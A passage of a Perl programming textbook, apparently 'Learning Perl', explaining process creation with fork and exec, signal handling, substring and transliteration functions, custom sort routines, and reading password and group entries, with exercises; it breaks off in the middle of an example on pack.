Still another way of creating an additional process is to clone the current Perl process using a UNIX primitive called fork. The fork function simply does what the fork (2) system call does: it creates a clone of the current process. This clone (called the child, with the original called the parent) shares the same executable code, variables, and even open files. To distinguish the two processes, the return value from fork is zero for the child, and nonzero for the parent (or undef if the system call fails). The nonzero value received by the parent happens to be the child's process ID. You can check for the return value and act accordingly:

if (!defined($child_pid = fork())) {
    die "cannot fork: $!";
} elsif ($child_pid) {
    # I'm the parent
} else {
    # I'm the child
}

To best use this clone, we need to learn about a few more things that parallel their UNIX namesakes closely: the wait, exit, and exec functions.

The simplest of these is the exec function. It's just like the system function, except that instead of firing off a new process to execute the shell command, Perl replaces the current process with the shell. (In UNIX parlance, Perl exec's the shell.) After a successful exec, the Perl program is gone, having been replaced by the requested program. For example,

exec "date";

replaces the current Perl program with the date command, causing the output of the date to go to the standard output of the Perl program. When the date command finishes, there's nothing more to do because the Perl program is long gone.

Another way of looking at this is that the system function is like a fork followed by an exec, as follows:

# METHOD 1... using system:
system("date");

# METHOD 2... using fork/exec:
unless (fork) {
    # fork returned zero, so I'm the child, and I exec:
    exec("date"); # child process becomes the date command
}

Using fork and exec this way isn't quite right though, because the date command and the parent process are both chugging along at the same time, possibly intermingling their output and generally mucking things up. What we need is a way to tell the parent to wait until the child process completes. That's exactly what the wait function does; it waits until the child (any child, to be precise) has completed. The waitpid function is more discriminating: it waits for a specific child process to complete rather just any kid:

if (!defined($kidpid = fork())) {
    # fork returned undef, so failed
    die "cannot fork: $!";
} elsif ($kidpid == 0) {
                # fork returned 0, so this branch is the child
    exec("date");
                # if the exec fails, fall through to the next statement
    die "can't exec date: $!";
} else {
                # fork returned neither 0 nor undef,
                # so this branch is the parent
    waitpid($kidpid, 0);
}

If this all seems rather fuzzy to you, you should probably study up on the fork (2) and exec (2) system calls in a traditional UNIX text, because Perl is pretty much just passing the function calls right down to the UNIX system calls.

The exit function causes an immediate exit from the current Perl process. You'd use this to abort a Perl program from somewhere in the middle, or with fork to execute some Perl code in a process and then quit. Here's a case of removing some files in /tmp in the background using a forked Perl process:

unless (defined ($pid = fork)) {
    die "cannot fork: $!";
}
unless ($pid) {
    unlink </tmp/badrock.*>;     # blast those files
    exit;                        # the child stops here
}
                                 # Parent continues here
waitpid($pid, 0);                # must clean up after dead kid

Without the exit, the child process would continue executing Perl code (at the line marked Parent continues here), and that's definitely not what we want.

The exit function takes an optional parameter, which serves as the numeric exit value that can be noticed by the parent process. The default is to exit with a zero value, indicating that everything went OK.

Previous: 14.3 Using Processes as Filehandles | Learning Perl | Next: 14.5 Summary of Process Operations
14.3 Using Processes as Filehandles | Book Index | 14.5 Summary of Process Operations


[Chapter 14] 14.5 Summary of Process Operations

Learning PerlSearch this book

14.5 Summary of Process Operations

Table 14.1 summarizes the operations that you have for launching a process.

Table 14.1: Summary of Subprocess Operations

Operation

Standard Input

Standard Output

Standard Error

Waited for?

system()

Inherited from program

Inherited from program

Inherited from program

Yes

Backquoted string

Inherited from program

Captured as string value

Inherited from program

Yes

open() command as filehandle for output

Connected to filehandle

Inherited from program

Inherited from program

Only at time of close()

open() command as filehandle for input

Inherited from program

Connected to filehandle

Inherited from program

Only at time of close()

fork, exec, wait, waitpid

User selected

User selected

User selected

User selected

The simplest way to create a process is with the system function. Standard input, output, and error are unaffected (they're inherited from the Perl process). A backquoted string creates a process, capturing the standard output of the process as a string value for the Perl program. Standard input and standard error are unaffected. Both these methods require that the process finish before any more code is executed.

A simple way to get an asynchronous process (one that allows the Perl program to continue before the process is complete) is to open a command as a filehandle, creating a pipe for the command's standard input or standard output. A command opened as a filehandle for reading inherits the standard input and standard error from the Perl program; a command opened as a filehandle for writing inherits the standard output and standard error from the Perl program.

The most flexible way of starting a process is to have your program invoke the fork, exec, and wait or waitpid functions, which map directly to their UNIX system call namesakes. Using these functions, you can select whether you are waiting or not, and configure the standard input, output, and error any way you choose.[5]

[5] Although it might also help to know about open(STDERR,">&STDOUT") forms for fine tuning the filehandles. See the open entry in Chapter 3 of Programming Perl, or in perlfunc (1).

Previous: 14.4 Using fork | Learning Perl | Next: 14.6 Sending and Receiving Signals
14.4 Using fork | Book Index | 14.6 Sending and Receiving Signals


[Chapter 14] 14.6 Sending and Receiving Signals

Learning PerlSearch this book

14.6 Sending and Receiving Signals

One method of interprocess communication is to send and receive signals. A signal is a one-bit message (meaning "this signal happened") sent to a process from another process or from the kernel. Signals are numbered, usually from one to some small number like 15 or 31. Some signals have predefined meanings and are sent automatically to a process under certain conditions (such as memory faults or floating-point exceptions); others are strictly user-generated from other processes. Those processes must have permission to send such a signal. Only if you are the superuser or if the sending process has the same user ID as the receiving process is the signal permitted.

The response to a signal is called the signal's action. Predefined signals have certain useful default actions, such as aborting the process or suspending it. Other signals are completely ignored by default. Nearly all signals can have their default action overridden, to either be ignored or else caught (invoking a user-specified section of code automatically).

So far, this is all standard stuff; here's where it gets Perl-specific. When a Perl process catches a signal, a subroutine of your choosing gets invoked asynchronously and automatically, momentarily interrupting whatever was executing. When the subroutine exits, whatever was executing resumes as if nothing had happened (except for the actions performed by the subroutine, if any).

Typically, the signal-catching subroutine will do one of two things: abort the program after executing some cleanup code, or set some flag (such as a global variable) that the program routinely checks.[6]

[6] In fact, doing anything more complicated than this is likely to mess things up; most of Perl's inner workings do not like to be executed in the main program and from the subroutine at the same time. Neither do your system libraries.

You need to know the signal names to register a signal handler with Perl. By registering a signal handler, Perl will call the selected subroutine when the signal is received.

Signal names are defined in the signal (2) manpage, and usually also in the C include file /usr/include/sys/signal.h. Names generally start with SIG, such as SIGINT, SIGQUIT, and SIGKILL. To declare the subroutine my_sigint_catcher() as the signal handler to deal with the SIGINT, we set a value into the magic %SIG hash. In this hash, we set the value of the key INT (that's SIGINT without the SIG) to the name of the subroutine that will catch the SIGINT signal, like so:

$SIG{'INT'} = 'my_sigint_catcher';

But we also need a definition for that subroutine. Here's a simple one:

sub my_sigint_catcher {
    $saw_sigint = 1; # set a flag
}

This signal catcher sets a global variable and then returns immediately. Returning from this subroutine causes execution to resume wherever it was interrupted. Typically, you'd first zero the $saw_sigint flag, set this subroutine up as a SIGINT catcher, and then do your long-running routine, like so:

$saw_sigint = 0;                   # clear the flag
$SIG{'INT'} = 'my_sigint_catcher'; # register the catcher
foreach (@huge_array) {
                                   # do something
                                   # do more things
                                   # do still more things
    if ($saw_sigint) {             # interrupt wanted?
                                   # some sort of cleanup here
        last;
    }
}
$SIG{'INT'} = 'DEFAULT'; # restore the default action

The trick here is that the value of the flag is checked at useful points during the evaluation and is used to exit the loop prematurely, here also handling some cleanup actions. Note the last statement in the preceding code: setting the action to DEFAULT restores the default action on a particular signal (another SIGINT will abort the program immediately). Another useful special value like this is IGNORE, meaning to ignore the signal (if the default action is not to ignore the signal, like SIGINT). You can make a signal action IGNORE if no cleanup actions are required, and you don't want to terminate operations early.

One of the ways that the SIGINT signal is generated is by having the user press the selected interrupt character (like CTRL-C) on the terminal. But a process can also generate the SIGINT signal directly using the kill function. This function takes a signal number or name, and sends that signal to the list of processes (identified by process ID) following the signal. So sending a signal from a program requires determining the process IDs of the recipient processes. (Process IDs are returned from some of the functions, such as fork and - when opening a program as a filehandle - open). Suppose you want to send a signal 2 (also known as SIGINT) to the processes 234 and 237. It's as simple as this:

kill(2,234,237); # send SIGINT to 234 and 237
kill ('INT', 234, 237); #same

For more about signal handling, see Chapter 6 of Programming Perl or the perlipc (1) manpage.

Previous: 14.5 Summary of Process Operations | Learning Perl | Next: 14.7 Exercises
14.5 Summary of Process Operations | Book Index | 14.7 Exercises


[Chapter 14] 14.7 Exercises

Learning PerlSearch this book

14.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to parse the output of the date command to get the current day of the week. If the day of the week is a weekday, print get to work, otherwise print go play.

  2. Write a program that gets all of the real names of the users from the /etc/passwd file, then transforms the output of the who command, replacing the login name (the first column) with the real name. (Hint: create a hash where the key is the login name and the value is the real name.) Try this both with the who command in backquotes and opened as a pipe. Which was easier?

  3. Modify the previous program so that the output automatically goes to the printer. (If you can't access a printer, perhaps you can send yourself mail.)

  4. Suppose the mkdir function were broken. Write a subroutine that doesn't use mkdir, but invokes /bin/mkdir with system instead. (Be sure that it works with directories that have a space in the name.)

  5. Extend the routine from the previous exercise to employ chmod to set the permissions.

Previous: 14.6 Sending and Receiving Signals | Learning Perl | Next: 15. Other Data Transformation
14.6 Sending and Receiving Signals | Book Index | 15. Other Data Transformation


[Chapter 15] Other Data Transformation

Learning PerlSearch this book
Previous: 14.7 Exercises Chapter 15 Next: 15.2 Extracting and Replacing a Substring

15. Other Data Transformation

Contents:
Finding a Substring
Extracting and Replacing a Substring
Formatting Data with sprintf( )
Advanced Sorting
Transliteration
Exercises

15.1 Finding a Substring

Finding a substring depends on where you have lost it. If you happen to have lost it within a bigger string, you're in luck, because index can help you out. Here's how it looks:

$x = index($string,$substring);

Perl locates the first occurrence of substring within string, returning an integer location of the first character. The index value returned is zero-based; if the substring is found at the beginning of the string, you get a 0. If it's one character later, you get a 1, and so on. If the substring can't be found in string, you get -1.

Take a look at these:

$where   = index("hello","e");                 # $where gets 1
$person  = "barney";
$where   = index("fred barney",$person);       # $where gets 5
@rockers = ("fred","barney");
$where   = index(join(" ",@rockers),$person);  # same thing

Notice that both the string being searched and the string being searched for can be a literal string, a scalar variable containing a string, or even an expression that has a string value. Here are some more examples:

$which = index("a very long string","long"); # $which gets 7
$which = index("a very long string","lame"); # $which gets -1

If the string contains the substring at more than one location, the index function returns the leftmost location. To find later locations, you can give index a third parameter. This parameter is the minimum value that will be returned by index, allowing you to look for the next occurrence of the substring that follows a selected position. It looks like this:

$x = index($bigstring,$littlestring,$skip);

Here are some examples of how this third parameter works:

$where = index("hello world","l");   # returns 2 (first l)
$where = index("hello world","l",0); # same thing
$where = index("hello world","l",1); # still same
$where = index("hello world","l",3); # now returns 3
                        # (3 is the first place greater than or equal to 3)
$where = index("hello world","o",5); # returns 7 (second o)
$where = index("hello world","o",8); # returns -1 (none after 8)

Going the other way, you can scan from the right to get the rightmost occurrence using rindex. The return value is still the number of characters between the left end of the string and the start of the substring, as before, but you'll get the rightmost occurrence instead of the leftmost occurrence if there are more than one. The rindex function also takes a third parameter like index does, so that you can get an occurrence that is less than or equal to a selected position. Here are some examples of what you get:

$w = rindex("hello world","he");  # $w gets 0
$w = rindex("hello world","l");   # $w gets 9 (rightmost l)
$w = rindex("hello world","o");   # $w gets 7
$w = rindex("hello world","o ");  # now $w gets 4
$w = rindex("hello world","xx");  # $w gets -1 (not found)
$w = rindex("hello world","o",6); # $w gets 4 (first before 6)
$w = rindex("hello world","o",3); # $w gets -1 (not found before 3)

Previous: 14.7 Exercises | Learning Perl | Next: 15.2 Extracting and Replacing a Substring
14.7 Exercises | Book Index | 15.2 Extracting and Replacing a Substring


[Chapter 15] 15.2 Extracting and Replacing a Substring

Learning PerlSearch this book

15.2 Extracting and Replacing a Substring

Pulling out a piece of a string can be done with careful application of regular expressions, but if the piece is always at a known character position, this is inefficient. Instead, you should use substr. This function takes three arguments: a string value, a start position (measured like it was measured for index), and a length, like so:

$s = substr($string,$start,$length);

The start position works like index: the first character is zero, the second character is one, and so on. The length is the number of characters to grab at that point: a length of zero means no characters, one means get the first character, two means two characters, and so on. (It stops at the end of the string, so if you ask for too many, it's no problem.) It looks like this:

$hello = "hello, world!";
$grab  = substr($hello, 3, 2);   # $grab gets "lo"
$grab  = substr($hello, 7, 100); # 7 to end, or "world!"

You could even create a "ten to the power of " operator for small integer powers, as in:

$big = substr("10000000000",0,$power+1); # 10 ** $power

If the count of characters is zero, an empty string is returned. If either the starting position or ending position is less than zero, the position is counted that many characters from the end of the string. So -1 for a start position and 1 (or more) for the length gives you the last character. Similarly, -2 for a start position starts with the second-to-last character like this:

$stuff = substr("a very long string",-3,3); # last three chars
$stuff = substr("a very long string",-3,1); # the letter "i"

If the starting position is before the beginning of the string (like a huge negative number bigger than the length of the string), the beginning of the string is the start position (as if you had used 0 for a starting position). If the start position is a huge positive number, the empty string is always returned. In other words, it probably does what you expect it to do, as long as you expect it to always return something other than an error.

Omitting the length argument is the same as if you had included a huge number for that argument - grabbing everything from the selected position to the end of the string.[1]

[1] Very old Perl versions did not allow the third argument to be omitted, leading to the use of a huge number for that argument by pioneer Perl programmers. You may come across this in your Perl archeological expeditions.

If the first argument to substr is a scalar variable (in other words, it could appear on the left side of an assignment operator), then the substr itself can appear on the left side of an assignment operator. This may look strange if you come from a C background, but if you've ever played with some dialects of BASIC, it's quite normal.

What gets changed as the result of such an assignment is the part of the string that would have been returned had the substr been used on the right-hand side of the expression instead. In other words, substr($var,3,2) returns the fourth and fifth characters (starting at 3, for a count of 2), so assigning to that changes those two characters for $var like so:

$hw = "hello world!";
substr($hw, 0, 5) = "howdy"; # $hw is now "howdy world!"

The length of the replacement text (what gets assigned into the substr) doesn't have to be the same as the text it is replacing, as it was in this example. The string will automatically grow or shrink as necessary to accommodate the text. Here's an example where the string gets shorter:

substr($hw, 0, 5) = "hi"; # $hw is now "hi world!"

and here's one that makes it longer:

substr($hw, -6, 5) = "nationwide news"; # replaces "world"

The shrinking and growing are fairly efficient, so don't worry about using them arbitrarily, although it is faster to replace a string with a string of equal length.

Previous: 15.1 Finding a Substring | Learning Perl | Next: 15.3 Formatting Data with sprintf( )
15.1 Finding a Substring | Book Index | 15.3 Formatting Data with sprintf( )


[Chapter 15] 15.3 Formatting Data with sprintf( )

Learning PerlSearch this book

15.3 Formatting Data with sprintf( )

The printf function is sometimes handy when used to take a list of values and produce an output line that displays the values in controllable ways. The sprintf function is identical to printf for its arguments, but returns whatever would have been output by printf as a single string. (Think of it as "string printf.") For example, to create a string consisting of the letter X followed by a five-digit zero-padded value of $y, it's as easy as this:

$result = sprintf("X%05d",$y);

See the sprintf entry in Chapter 3 of Programming Perl, and the printf (3) manpage (if you have it) for a description of the arguments required by sprintf.

Previous: 15.2 Extracting and Replacing a Substring | Learning Perl | Next: 15.4 Advanced Sorting
15.2 Extracting and Replacing a Substring | Book Index | 15.4 Advanced Sorting


[Chapter 15] 15.4 Advanced Sorting

Learning PerlSearch this book

15.4 Advanced Sorting

Earlier, you learned that you could take a list and sort it in ascending ASCII order (like you do strings) using the built-in sort function. What if you don't want an ascending ASCII sort, but something else instead, like a numeric sort? Well, Perl gives you the tools you need to do the job. In fact, you'll see that the Perl sort is completely general and able to perform any well-defined sort order.

To define a sort of a different color, you need to define a comparison routine that describes how two elements compare. Why is this necessary? Well, if you think about it, sorting is putting a bunch of things in order by comparing them all. Since you can't compare them all at once, you need to compare two at a time, eventually using what you find out about each pair's order to put the whole kit'n'caboodle in line.

The comparison routine is defined as an ordinary subroutine. This routine will be called repeatedly, each time passing two elements of the list to be sorted. The routine must determine whether the first value is less-than, equal-to, or greater-than the second value, and return a coded value (described in a moment). This process is repeated until the list is sorted.

To save a little execution speed, the two values are not passed in an array, but rather are handed to the subroutine as the values of the global variables $a and $b. (Don't worry: the original values of $a and $b are safely protected.) The routine should return any negative number if $a is less than $b, zero if $a is equal to $b, and any positive number if $a is greater than $b. Now remember, the less than is according to your meaning of less than; it could be a numeric comparison, according to the third character of the string, or even according to the values of a hash using the passed-in values as keys. It's really pretty flexible.

Here's an example of a comparison routine that sorts in numeric order:

sub by_number {
    if ($a < $b) {
        return -1;
    } elsif ($a == $b) {
        return 0;
    } elsif ($a > $b) {
        return 1;
    }
}

Notice the name by_number. There's nothing special about the name of this subroutine, but you'll see why we like names that start with by_ in a minute.

Let's look through this routine. If the value of $a is less than (numerically in this case) the value of $b, we return a -1 value. If the values are numerically equal, we get back a zero, and otherwise a 1. So, according to our specification for a sort comparison routine, this should work.

How do we use it? Let's try sorting the following list:

@somelist = (1,2,4,8,16,32,64,128,256);

If we use the ordinary sort without any adornment on the list, we get the numbers sorted as if they were strings, and in their ASCII order, like so:

@wronglist = sort @somelist;
# @wronglist is now (1,128,16,2,256,32,4,64,8)

Certainly not very numeric. Well, let's give sort our newly defined comparison routine. The name of the comparison routine goes immediately following the sort keyword, like so:

@rightlist = sort by_number @wronglist;
# @rightlist is now (1,2,4,8,16,32,64,128,256)

This does the trick. Note that you can read the sort with its companion sort routine in a human-like fashion: "sort by number." That's why I named the subroutine with a by_ prefix.

This kind of three-way value of -1, 0, and +1 on the basis of a numeric comparison occurs often enough in sort routines that Perl has a special operator to do this in one fell swoop. It's often called the spaceship operator, and looks like <=>. Using the spaceship operator, the preceding sort subroutine can be replaced with this:

sub by_number {
    $a <=> $b;
}

Note the spaceship between the two variables. Yes, it is indeed a three-character-long operator. The spaceship returns the same values as the if/elsif chain from the previous definition of this routine. Now this is pretty short, but you can shortcut the sort invocation even further, by replacing the name of the sort routine with the entire sort routine in line, like so:

@rightlist = sort { $a <=> $b } @wronglist;

There are some who argue that this decreases readability. They are wrong. Others argue that it removes the need to go somewhere else for the definition. Perl doesn't care. Our personal rule is that if it doesn't fit on one line or we have to use it more than once, it goes into a subroutine.

The spaceship operator for numeric comparison has a comparable string operator called cmp. The cmp operator returns one of three values, depending on the relative string comparisons of the two arguments. So, here's another way to write the default sort order:[2]

@result = sort { $a cmp $b } @somelist;

[2] Not exactly. The built-in sort discards undef elements, but this one doesn't.

You probably won't ever write this exact subroutine (mimicking the built-in default sort), unless you're writing a book about Perl. However, the cmp operator does have its uses in the construction of cascaded ordering schemes. For example, you might need to put the elements in numeric order unless they're numerically equal, in which case they should go in ASCII string order. (By default, the by_number routine above just sticks nonnumeric strings in some random order because there's no numeric ordering when comparing two values of zero.) Here's a way to say "numeric, unless they're numerically equal, then string":

sub by_mostly_numeric {
    ($a <=> $b) || ($a cmp $b);
}

How does this work? Well, if the result of the spaceship is -1 or 1, the rest of the expression is skipped, and the -1 or 1 is returned. If the spaceship evaluates to zero, however, the cmp operator gets its turn at bat, returning an appropriate ordering value considering the values as strings.

The values being compared are not necessarily the values being passed in. For example, say you have a hash where the keys are the login names and the values are the real names of each user. Suppose you want to print a chart where the login names and real names are sorted in the order of the real names. How would you do that?

Actually, it's fairly easy. Let's assume the values are in the array %names. The login names are thus the list of keys(%names). What we want to end up with is a list of the login names sorted by the corresponding value, so for any particular key $a, we need to look at $names{$a} and sort based on that. If you think of it that way, it almost writes itself, as in:

@sortedkeys = sort by_names keys(%names);

sub by_names {
    return $names{$a} cmp $names{$b};
}

foreach (@sortedkeys) {
    print "$_ has a real name of $names{$_}\n";
}

To this we should also add a fallback comparison. Suppose the real names of two users are identical. Because of the whimsical nature of the sort routine, we might get one value ahead of another the first time through and the values in the reversed order the next time. This is bad if the report might be fed into a comparison program for reporting, so try very hard to avoid such things. With the cmp operator, it's easy:

sub by_names {
    ($names{$a} cmp $names{$b}) || ($a cmp $b);
}

Here, if the real names are the same, we sort based on the login name instead. Since the login name is guaranteed to be unique (after all, they are the keys of this hash, and no two keys are the same), then we can ensure a unique and repeatable order. Good defensive programming during the day is better than a late-night call from a system administrator wondering why the security alarms are going off.

Previous: 15.3 Formatting Data with sprintf( ) | Learning Perl | Next: 15.5 Transliteration
15.3 Formatting Data with sprintf( ) | Book Index | 15.5 Transliteration


[Chapter 15] 15.5 Transliteration

Learning PerlSearch this book

15.5 Transliteration

When you want to take a string and replace every instance of some character with some new character, or delete every instance of some character, you can already do that with carefully selected s/// commands. But suppose you had to change all of the a's into b's, and all of the b's into a's? You can't do that with two s/// commands because the second one would undo all of the changes the first one made.

From the UNIX shell, however, such a data transformation is simple: just use the standard tr (1) command:

tr ab ba <indata >outdata

(If you don't know anything about the tr command, please look at the tr (1) manpage; it's a useful tool for your bag of tricks.) Similarly, Perl provides a tr operator that works in much the same way:

tr/ab/ba/;

The tr operator takes two arguments: an old string and a new string. These arguments work like the two arguments to s///; in other words, there's some delimiter that appears immediately after the tr keyword that separates and terminates the two arguments (in this case, a slash, but nearly any character will do).

The arguments to the tr operator are similar to the arguments to the tr (1) command. The tr operator modifies the contents of the $_ variable (just like s///), looking for characters of the old string within the $_ variable. All such characters found are replaced with the corresponding characters in the new string. Here are some examples:

$_ = "fred and barney";
tr/fb/bf/;        # $_ is now "bred and farney"
tr/abcde/ABCDE/;  # $_ is now "BrED AnD fArnEy"
tr/a-z/A-Z/;      # $_ is now "BRED AND FARNEY"

Notice how a range of characters can be indicated by two characters separated by a dash. If you need a literal dash in either string, precede it with a backslash.

If the new string is shorter than the old string, the last character of the new string is repeated enough times to make the strings equal length, like so:

$_ = "fred and barney";
tr/a-z/x/; # $_ is now "xxxx xxx xxxxxx"

To prevent this behavior, append a d to the end of the tr/// operator, meaning delete. In this case, the last character is not replicated. Any character that matches in the old string without a corresponding character in the new string is simply removed from the string.

$_ = "fred and barney";
tr/a-z/ABCDE/d; # $_ is now "ED AD BAE"

Notice how any letter after e disappears because there's no corresponding letter in the new list, and that spaces are unaffected because they don't appear in the old list. This is similar in operation to the -d option of the tr command.

If the new list is empty and there's no d option, the new list is the same as the old list. This may seem silly, as in why replace an I for an I and a 2 for a 2, but it actually does something useful. The return value of the tr/// operator is the number of characters matched by the old string, and by changing characters into themselves, you can get the count of that kind of character within the string.[3] For example:

$_ = "fred and barney";
$count = tr/a-z//;      # $_ unchanged, but $count is 13
$count2 = tr/a-z/A-Z/;  # $_ is uppercased, and $count2 is 13

[3] This works only for single characters. To count strings, use the /g flag to a pattern match:

while (/pattern/g) {
    $count++;
}

If you append a c (like appending the d), it means to complement the old string with respect to all 256 characters. Any character you list in the old string is removed from the set of all possible characters; the remaining characters, taken in sequence from lowest to highest, form the resulting old string. So, a way to count or change the nonletters in our string could be:

$_ = "fred and barney";
$count = tr/a-z//c; # $_ unchanged, but $count is 2
tr/a-z/_/c;         # $_ is now "fred_and_barney" (non-letters => _)
tr/a-z//cd;         # $_ is now "fredandbarney" (delete non-letters)

Notice that the options can be combined, as shown in that last example, where we first complement the set (the list of letters become the list of all nonletters) and then use the d option to delete any character in that set.

The final option for tr/// is s, which squeezes multiple consecutive copies of the same resulting translated letter into one copy. As an example, look at this:

$_ = "aaabbbcccdefghi";
tr/defghi/abcddd/s; # $_ is now "aaabbbcccabcd"

Note that the def became abc, and ghi (which would have become ddd without the s option) becomes a single d. Also note that the consecutive letters at the first part of the string are not squeezed because they didn't result from a translation. Here are some more examples:

$_ = "fred and barney, wilma and betty";
tr/a-z/X/s;  # $_ is now "X X X, X X X"
$_ = "fred and barney, wilma and betty";
tr/a-z/_/cs; # $_ is now "fred_and_barney_wilma_and_betty"

In the first example, each word (consecutive letters) was squeezed down to a single letter X. In the second example, all chunks of consecutive nonletters became a single underscore.

Like s///, the tr operator can be targeted at another string besides $_ using the =~ operator:

$names = "fred and barney";
$names =~ tr/aeiou/X/; # $names now "frXd Xnd bXrnXy"

Previous: 15.4 Advanced Sorting | Learning Perl | Next: 15.6 Exercises
15.4 Advanced Sorting | Book Index | 15.6 Exercises


[Chapter 15] 15.6 Exercises

Learning PerlSearch this book

15.6 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to read a list of filenames, breaking each name into its head and tail components. (Everything up to the last slash is the head, and everything after the last slash is the tail. If there's no slash, it's all in the tail.) Try this with things like /fred, barney, and fred/barney. Do the results make sense?

  2. Write a program to read in a list of numbers on separate lines, and sort them numerically, printing out the resulting list in a right-justified column. (Hint: the format to print a right-justified column is something like %20g.)

  3. Write a program to print the real names and login names of the users in the /etc/passwd file, sorted by the last name of each user. Does your solution work if two people have the same last name?

  4. Create a file that consists of sentences, one per line. Write a program that makes the first character of each sentence uppercase and the rest of the sentence lowercase. (Does it work even when the first character is not a letter? How would you do this if the sentences were not already one per line?)

Previous: 15.5 Transliteration | Learning Perl | Next: 16. System Database Access
15.5 Transliteration | Book Index | 16. System Database Access


[Chapter 16] System Database Access

Learning PerlSearch this book
Previous: 15.6 Exercises Chapter 16 Next: 16.2 Packing and Unpacking Binary Data

16. System Database Access

Contents:
Getting Password and Group Information
Packing and Unpacking Binary Data
Getting Network Information
Exercise

16.1 Getting Password and Group Information

The information that the UNIX system keeps about your username and user ID is fairly public. In fact, nearly everything but your unencrypted password is available for perusal by any program that cares to scan the /etc/passwd file. This file has a particular format, defined in passwd (5), which looks something like this:

name:passwd:uid:gid:gcos:dir:shell

The fields are defined as follows:

name

The login name of the user

passwd

The encrypted password, or something simple if a shadow password file is being used

uid

The user ID number (0 for root, nonzero for normal users)

gid

The default login group (group 0 may be privileged, but not necessarily)

gcos

The GCOS field, which typically contains the user's full name followed by a comma and some other information

dir

The home directory (where you go when you type cd without any arguments and where most of your "dot-files" are kept)

shell

Your login shell, typically /bin/sh or /bin/csh (or maybe even /usr/bin/perl, if you're crazy)

A typical portion of the password file looks like this:

fred:*:123:15:Fred Flintstone,,,:/home/fred:/bin/csh
barney:*:125:15:Barney Rubble,,,:/home/barney:/bin/csh

Now, Perl has enough tools to parse this kind of line easily (using split, for example), without drawing on special purpose routines. But the UNIX programing library does have a set of special routines: getpwent (3), getpwuid (3), getpwnam (3), and so on. These routines are available in Perl using the same names and similar arguments and return values.

For example, the getpwnam routine becomes the Perl getpwnam function. The single argument is a username (like fred or barney), and the return value is the /etc/passwd line split apart into a list with the following values:

($name, $passwd, $uid, $gid, $quota, $comment,
 $gcos, $dir, $shell)

Note that there are few more values here than in the password file. For every UNIX system we've seen, the $quota field is always empty, and the $comment and the $gcos field often both contain the entire GCOS field. So, for good old fred, you get

("fred", "*", 123, 15, "", "Fred Flintstone,,,",
 "Fred Flintstone,,,", "/home/fred"," /bin/csh")

by invoking either of the following two calls:

getpwuid(123)
getpwnam("fred")

Note that getpwuid takes a UID number, while getpwnam takes the login name as its argument.

The getpwnam and getpwuid functions also have a return value when called in a scalar sense. They each return the thing you've asked them to get. For example:

$idnum = getpwuid("daemon");
$login = getpwnam(25);

You'll probably want to pick this apart, using some of the list operations that we've seen before. One way is to grab a part of the list using a list slice, such as getting just the home directory for Fred using:

($fred_home) = (getpwnam ("fred"))[7]; # put Fred's home

How would you scan through the entire password file? Well, you could do something like this:

for($id = 0; $id <= 10_000; $id++)     {
    @stuff = getpwuid $id;
} ### not recommended!

But this is probably the wrong way to go. Just because there's more than one way to do it doesn't mean that all ways are equally cool.

You can think of the getpwuid and getpwnam functions as random access; they grab a specific entry by key, so you have to have a key to start with. Another way of accessing the password file is sequential access - grabbing each entry one at a time.

The sequential access routines for the password file are the setpwent, getpwent, and endpwent functions. Together, these three functions perform a sequential pass over all values in the password file. The setpwent function initializes the scan at the beginning. After initialization, each call to getpwent returns the next entry from the password file. When there is no more data to process, getpwent returns an empty list. Finally, calling endpwent frees the resources used by the scanner; this is performed automatically upon exiting the program as well.

This description begs for an example, so here's one now:

setpwent();                                  # initialize the scan
while (@list = getpwent()) {                 # fetch the next entry
    ($login,$home) = @list[0,7];             # grab login name and home
    print "Home directory for $login is $home\n"; # say so
}
endpwent();                                  # all done

This example shows the home directory of everyone in the password file. Suppose you wanted them alphabetically by home directory? We learned about sort in the previous chapter, so let's use it:

setpwent();                      # initialize the scan
while (@list = getpwent()) {     # fetch the next entry
    ($login,$home) = @list[0,7]; # grab login name and home
    $home{$login} = $home;       # save it away
}
endpwent();                      # all done
@keys = sort { $home{$a} cmp $home{$b} } keys %home;
foreach $login (@keys) {         # step through the sorted names
    print "home of $login is $home{$login}\n";
}

This fragment, while a little longer, illustrates an important thing about scanning sequentially through the password file; you can save away the pertinent portions of the data in data structures of your choice. The first part of the example scans through the entire password file, creating a hash where the key is the login name and the value is the corresponding home directory for that login name. The sort line takes the keys of the hash and sorts them according to string value. The final loop steps through the sorted keys, printing each value in turn.

Generally, you should use the random access routines (getpwuid and getpwnam) when you are looking up just a few values. For more than a few values, or even an exhaustive search, it's generally easier to do a sequential access pass (using setpwent, getpwent, and endpwent) and extract the particular values you'll be looking for into a hash.[1]

[1] If you're on a site with a large NIS map, you probably do not want to preprocess the password file this way for performance reasons.

The /etc/group file is accessed in a similar way. Sequential access is provided with the setgrent, getgrent, and endgrent calls. The getgrent call returns values of the form:

($name, $passwd, $gid, $members)

These four values correspond roughly to the four fields of the /etc/group file, so see the descriptions in the manpages about this file format for details. The corresponding random access functions are getgrgid (by group ID) and getgrnam (by group name).

Previous: 15.6 Exercises | Learning Perl | Next: 16.2 Packing and Unpacking Binary Data
15.6 Exercises | Book Index | 16.2 Packing and Unpacking Binary Data


[Chapter 16] 16.2 Packing and Unpacking Binary Data

Learning PerlSearch this book

16.2 Packing and Unpacking Binary Data

The password and group information is nicely represented in textual form. Other system databases are more naturally represented in other forms. For example, the IP address of an interface is internally managed as a four-byte number. While it is frequently decoded into a textual representation consisting of four small integers separated by periods, this encoding and decoding is wasted effort if a human is not interpreting the data in the meantime.

Because of this, the network routines in Perl that expect or return an IP address use a four-byte string that contains one character for each sequential byte in memory. While constructing and interpreting such a byte string is fairly straightforward using chr and ord (not presented here), Perl provides a short cut that is equally applicable to more difficult structures.

The pack function works a bit like sprintf, taking a format control string and a list of values, and creating a single string from those values. The pack format string is geared towards creating a binary data structure, however. For example, here's how to take four small integers and pack them as successive unsigned bytes in a composite string:

$buf = pack("CCCC", 140, 186, 65, 25);

Here, the pack format string is four C's. Each C represents a separate value taken from the following list (similar to what a % field does in sprintf). The C format (according to the Perl manpages, the reference card, Programming Perl, the HTML files, or even Perl: The Motion Picture) refers to a single byte computed from an unsigned character value (a small integer). The resulting string in $buf is a four-character string - each character being one byte from the four values 140, 186, 65, and 25.

Similarly, the format l generates a signed long value. On many machines, this is a four-byte number, although this format is machine-dependent. On a four-byte "long" machine, the statement

$buf = pack("l",0x41424344);

